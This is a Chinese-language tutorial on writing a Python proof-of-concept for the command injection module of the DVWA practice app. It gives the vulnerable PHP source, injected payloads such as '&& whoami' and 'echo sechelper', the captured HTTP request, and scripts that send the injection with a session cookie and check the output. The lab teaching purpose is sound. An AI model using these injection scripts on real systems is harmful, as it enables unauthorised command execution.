POC(全称: Proof of concept
), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
pip install requests==2.27.1
pip install bs4==0.0.1
pip install lxml==4.8.0
本次漏洞使用 DVWA(Damn Vulnerable Web App)
是一个用来进行安全脆弱性鉴定的php/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。mihun渗透靶场
已经集成DVWA。
http://mihun-ip/
user: admin
password: password
登入DVWA系统,将 DVWA Security
修改为low,本次使用 Command Injection(命令注入)
模块作为此次POC验证漏洞点
Command Injection(命令注入)
模块用于验证网络是否通畅,由于对输入的参数检查不严格导致任意命令执行
ping sechelper.cn && whoami
Command Injection 模块源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
分析上面源码发现ip
参数未过滤被带入命令执行函数shell_exec
,利用linux/win
命令特性拼接参数 sechelper.cn&&whoami
伪代码如下:
shell_exec( 'ping -c 4 ' . $target ) == shell_exec('ping -c 4 sechelper.cn&&whoami' );
使用PyCharm
创建一个python项目
使用火狐浏览器按 F12
开启Firebug开发者模式,选择网络
重新触发漏洞观察http请求
文件列 /vulnerabilities/exec/
是接口地址,方法是 POST
,域名是 192.168.17.5
,完整http请求包如下:
POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5Gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1
ip=192.168.17.5&Submit=Submit
漏洞的信息已经知道的差不多,开始编写代码
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
data = {"ip": "sechelper.cn"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
print("状态: {}".format(response.status_code))
print("302跳转地址: {}".format(response.next.url))
执行上面代码返回状态 302
,不应该是200
吗?为什么返回 302
?,观察控制台内打印出的跳转地址
是登入界面,原来/vulnerabilities/exec/
有授权验证,未授权会跳转到登入界面
怎么才能授权呢?
这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie
头
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit": "Submit"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("状态: {}".format(response.status_code))
print("结果: {}".format(response.text))
从结果内看出代码已经可以访问并利用 /vulnerabilities/exec/
存在漏洞接口,那么如何使用代码快速识别出漏洞是否存在呢?
特征方式 匹配返回结果里的特征检测漏洞是否存在,匹配到 自定义
的字符则表示漏洞存在
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
if response.status_code == 200 and response.text.find("sechelper") != -1:
print("[*] {} is weak".format(url))
else:
print("[x] {} is safe".format(url))
print("Detection completed...")
关键输出方式 输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit": "Submit"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)
if response.status_code == 200:
from bs4 import BeautifulSoup
soup = BeautifulSoup(response.text, 'lxml')
# 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
pre = soup.find("pre")
print("[*] response {}".format(pre.text))
print("Detection completed...")
渗透过程中自己写一些脚本可以更方便快捷的做一些事情,渗透测试很难自动化全程自动化,但是写一些小工具可以显著提高渗透效率,想要做一个合格白帽子会一门语言是很有必要的。